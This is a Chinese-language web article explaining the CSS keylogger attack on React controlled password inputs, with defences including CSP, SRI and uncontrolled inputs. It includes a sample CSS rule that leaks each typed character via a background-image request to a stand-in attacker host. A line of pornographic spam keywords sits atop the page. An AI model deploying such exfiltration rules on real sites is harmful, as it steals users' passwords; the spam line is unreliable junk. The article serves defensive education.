欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

React 應(yīng)用中的 CSS 鍵盤記錄器攻擊問題記錄

 更新時(shí)間:2025年07月10日 09:41:08   作者:neon1204  
React應(yīng)用中CSS鍵盤記錄器攻擊利用CSS選擇器與受控組件機(jī)制竊取密碼,通過觸發(fā)字符對(duì)應(yīng)的background-image請(qǐng)求,防御需限制第三方CSS、采用非受控組件及CSP/SRI措施,本文介紹React 應(yīng)用中的 CSS 鍵盤記錄器攻擊問題記錄,感興趣的朋友一起看看吧

React 應(yīng)用中的 CSS 鍵盤記錄器攻擊

一、攻擊原理與核心機(jī)制

該攻擊的本質(zhì)是利用 CSS 屬性選擇器 結(jié)合 React 的受控組件更新機(jī)制 實(shí)現(xiàn)密碼竊?。?/p>

  1. CSS 屬性選擇器陷阱
    攻擊者注入惡意 CSS 規(guī)則,對(duì)每個(gè)可能的字符(如 a, 1, @)定義一條規(guī)則:

    input[type="password"][value$="a"] { 
      background-image: url("http://attacker.com/a");
    }
    /* 其他字符規(guī)則... */

    [value$="a"] 表示選擇 value 屬性值以 "a" 結(jié)尾的密碼輸入框。

  2. React 受控組件的關(guān)鍵作用
    攻擊僅對(duì) React(或類 React 框架)有效,原因在于其 受控組件機(jī)制

    • 用戶每次按鍵觸發(fā) onChange 事件。
    • React 更新組件狀態(tài)并將新值 同步回寫<input>value DOM 屬性。
    • 例如輸入 "s" 時(shí),React 會(huì)設(shè)置 <input type="password" value="s">。
  3. 竊密過程觸發(fā)
    當(dāng) value 屬性被更新為以特定字符結(jié)尾時(shí)(如 "s"),對(duì)應(yīng)的 CSS 規(guī)則被激活。瀏覽器嘗試加載 background-image 指定的 URL(如 http://attacker.com/s),向攻擊者服務(wù)器發(fā)送一個(gè)攜帶字符信息的 HTTP GET 請(qǐng)求。通過記錄字符序列,攻擊者即可還原完整密碼。

二、現(xiàn)代 React 應(yīng)用的風(fēng)險(xiǎn)現(xiàn)狀

  1. 技術(shù)原理依然存在
    React 受控組件的核心機(jī)制(狀態(tài)驅(qū)動(dòng)視圖、同步更新 DOM 屬性)未改變。只要應(yīng)用使用受控密碼輸入框且加載了惡意 CSS,攻擊理論上仍可生效。

  2. 風(fēng)險(xiǎn)來源與緩解

    • 主要風(fēng)險(xiǎn):惡意第三方 CSS/JS 庫(kù)(通過供應(yīng)鏈攻擊、CDN 劫持、XSS 注入)。
    • 框架演進(jìn):React 未“修復(fù)”此機(jī)制,因其本質(zhì)是框架特性(非漏洞)。
    • 開發(fā)者范式:對(duì)第三方資源引入更謹(jǐn)慎,CSP 等防護(hù)措施普及度提高。

三、攻擊防御的關(guān)鍵策略

  1. 嚴(yán)格管控第三方資源(最高優(yōu)先級(jí))

    • 內(nèi)容安全策略 (CSP):通過 style-src 指令限制 CSS 來源。
    Content-Security-Policy: style-src 'self' https://trusted.cdn.com;

    避免 'unsafe-inline',防止內(nèi)聯(lián)惡意樣式。

    • 子資源完整性 (SRI):對(duì) CDN 資源添加哈希校驗(yàn),防止篡改。
    <link  rel="external nofollow"  
          integrity="sha384-..." 
          crossorigin="anonymous" 
          rel="stylesheet">
    • 沙箱隔離:使用 <iframe> 隔離不可信第三方內(nèi)容(如廣告)。
  2. 優(yōu)化密碼輸入組件實(shí)現(xiàn)

    • 非受控組件:對(duì)純密碼輸入框,使用 ref 替代 value 綁定(僅在提交時(shí)取值),避免實(shí)時(shí)更新 DOM 屬性。
    const inputRef = useRef();
    // 提交時(shí)通過 inputRef.current.value 獲取
    • 只讀層+自定義輸入:創(chuàng)建 readOnly 輸入框,用自定義組件(如 Canvas/Div)處理輸入(適用于高安全場(chǎng)景)。
  3. 輔助安全措施

    • 監(jiān)控異常請(qǐng)求(高頻短路徑請(qǐng)求如 /a, /b)。
    • 推薦用戶使用密碼管理器自動(dòng)填充,減少擊鍵次數(shù)。
    • 定期檢查第三方依賴安全性。

四、總結(jié)

CSS 鍵盤記錄器攻擊揭示了前端安全的隱蔽性:即使未觸發(fā) XSS,僅通過樣式表也能竊取敏感數(shù)據(jù)。其成功依賴兩點(diǎn):React 受控組件的 DOM 更新機(jī)制惡意 CSS 的注入途徑

日常開發(fā)過程中需要注意:

  1. 警惕第三方資源:嚴(yán)格實(shí)施 CSP 和 SRI。
  2. 規(guī)范設(shè)計(jì)組件:對(duì)密碼等敏感字段,特殊場(chǎng)景評(píng)估受控模式的必要性,可以選擇采用非受控或混合方案。
  3. 防御策略:結(jié)合代碼審查、依賴掃描、網(wǎng)絡(luò)監(jiān)控等。

到此這篇關(guān)于React 應(yīng)用中的 CSS 鍵盤記錄器攻擊問題記錄的文章就介紹到這了,更多相關(guān)React CSS 鍵盤記錄器攻擊內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • React useCallback鉤子的作用方法demo

    React useCallback鉤子的作用方法demo

    這篇文章主要為大家介紹了React useCallback鉤子的作用方法demo,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2022-12-12
  • React 中的重新渲染實(shí)現(xiàn)

    React 中的重新渲染實(shí)現(xiàn)

    本文主要介紹了React 中的重新渲染實(shí)現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-01-01
  • react項(xiàng)目升級(jí)報(bào)錯(cuò),babel報(bào)錯(cuò),.babelrc配置兼容等問題及解決

    react項(xiàng)目升級(jí)報(bào)錯(cuò),babel報(bào)錯(cuò),.babelrc配置兼容等問題及解決

    這篇文章主要介紹了react項(xiàng)目升級(jí)報(bào)錯(cuò),babel報(bào)錯(cuò),.babelrc配置兼容等問題及解決方案,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2022-08-08
  • 淺談React原生APP更新

    淺談React原生APP更新

    當(dāng)一個(gè)APP在運(yùn)行的時(shí)候, 開發(fā)者想要將自己的代碼更新到用戶的手機(jī)上時(shí), 一般都有兩種方案, 一是熱更新, 二就是APP更新.熱更新暫且不說,這篇文章就講講 APP 如何更新。
    2021-06-06
  • react MPA 多頁配置詳解

    react MPA 多頁配置詳解

    這篇文章主要介紹了react MPA 多頁配置詳解,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-10-10
  • react中路由跳轉(zhuǎn)及傳參的實(shí)現(xiàn)

    react中路由跳轉(zhuǎn)及傳參的實(shí)現(xiàn)

    本文主要介紹了react中路由跳轉(zhuǎn)及傳參的實(shí)現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-05-05
  • React鼠標(biāo)多選功能的配置方法

    React鼠標(biāo)多選功能的配置方法

    本文給大家分享React鼠標(biāo)多選功能,通過導(dǎo)入組件直接包裹已經(jīng)設(shè)計(jì)好的列表即可,操作簡(jiǎn)單方便,對(duì)React鼠標(biāo)多選相關(guān)知識(shí)感興趣的朋友一起看看吧
    2021-05-05
  • 使用react的7個(gè)避坑案例小結(jié)

    使用react的7個(gè)避坑案例小結(jié)

    React是個(gè)很受歡迎的前端框架。今天我們探索下React開發(fā)者應(yīng)該注意的七點(diǎn),感興趣的小伙伴們可以參考一下
    2021-05-05
  • React實(shí)現(xiàn)控制減少useContext導(dǎo)致非必要的渲染詳解

    React實(shí)現(xiàn)控制減少useContext導(dǎo)致非必要的渲染詳解

    這篇文章主要介紹了React如何有效減少使用useContext導(dǎo)致的不必要渲染,使用useContext在改變一個(gè)數(shù)據(jù)時(shí),是通過自己逐級(jí)查找對(duì)比改變的數(shù)據(jù)然后渲染,本文通過示例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2022-11-11
  • React如何利用相對(duì)于根目錄進(jìn)行引用組件詳解

    React如何利用相對(duì)于根目錄進(jìn)行引用組件詳解

    這篇文章主要給大家介紹了關(guān)于React如何使用相對(duì)于根目錄進(jìn)行引用組件的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧。
    2017-10-10

最新評(píng)論